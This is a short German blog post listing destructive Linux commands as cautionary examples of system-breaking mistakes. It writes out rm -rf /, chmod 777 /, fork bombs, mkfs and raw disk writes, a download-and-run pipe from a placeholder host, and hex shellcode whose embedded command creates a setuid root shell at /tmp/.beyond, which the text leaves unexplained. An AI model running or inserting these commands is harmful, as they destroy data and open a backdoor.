Fork Bomben und andere schmutzigen Mittel

Fork Bomben und andere schmutzigen Mittel

Als schmutzige Mittel bezeichne ich Methoden zur Destabilisierung eines Bestriebsystemes.
Darunter gibt es Temporäre und Dauerhafte.

Man muss nicht unbedingt ein Idiot sein um solche Fehler zu machen, denn ich selbst..habe schon Fehler Nr. 1 auf einem System gemacht und zum anderen Fehler Nr. 2 auf meinem Server, da er Remote ist, war er nur Manuell wieder startbar. Ach und Nr. 3 auch.

Nr. 1 Löschen des Systems Rekursiv.
Wenn man im Root System rekursiv alles löscht, macht man zwar schön und schnell viel Platz, leider aber auch das System unbenutzbar.
rm -rf /
Den Script gibt es auch noch als Shellcode Werte, als böses Script also.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Nr. 2 Shutdown
Hat man keinen direkten Hardware Zugriff zum System,so ist das Herunterfahren fatal.
shutdown -h now

Nr. 3 Rekursiv Rechte setzen über das System.
Setzt man Rekursiv ein bestimmtes Recht, auch 777 über das gesamte System, fährt dieses daraufhin nicht mehr hoch und meldet einen Fehler.
chmod 777 /

Nr. 4 Forkbomben bzw. Schleifen
Jeder Programmierer kennt es, php while true. Eine unendliche Schleife die das System solange ausreizt bis es abstürzt.
Ein bekannter Befehl einer Forkbombe ist:
:(){:|:&};:

Sehr schön ist auch:
PATH=.
echo 'fork-bomb.sh & fork-bomb.sh' > fork-bomb.sh
chmod 755 fork-bomb.sh; /bin/bash fork-bomb.sh

ForkBomben sind eig. Bösartig da sie zu 99,9% zu einem Absturz führen.
Das System ist recht simpel, es läuft wie bei einer DDOS Attacke.
Es werden immer mehr Prozesse geöffnet als geschlossen, so das der RAM vollläuft.
Danach nutzt er den SWAP und schlussendlich friert das System ein.

Lösungen zur Sicherungen gibt es bei Debian.

Nr. 5 Ausführung fremder Scripte
Sehr schön ist, der Fehler den ich selbst gerne mache, Scripte direkt ausführen.
Ironie dabei, ich biete das selbst hier an, nur wäre ich blöd Viren etc. direkt hierüber zu verteilen.
wget http://badsite.tld/virus.sh -O- | sh

Nr. 6 Ausführung auf die Festplatte
Eine Ausführung eines Befehles auf die komplette Festplatte sollte auch immer beachtet werden, ein nicht korrekter kann von kleinen bis fatalen Problem zur Sorge tragen.
Befehl > /dev/sda

Nr. 7 Das Home Verzeichnis verschieben
Auch wenn dies seltener passiert, meist nur bei Umzügen, so kann es passieren und ist fatal.
mv /home/$USER/* /dev/null

Nr. 8 Formatierung der Festplatte
Das Format C: des Linux, wenn ich hier mehr sagen muss… autsch…
mkfs.ext3 /dev/sda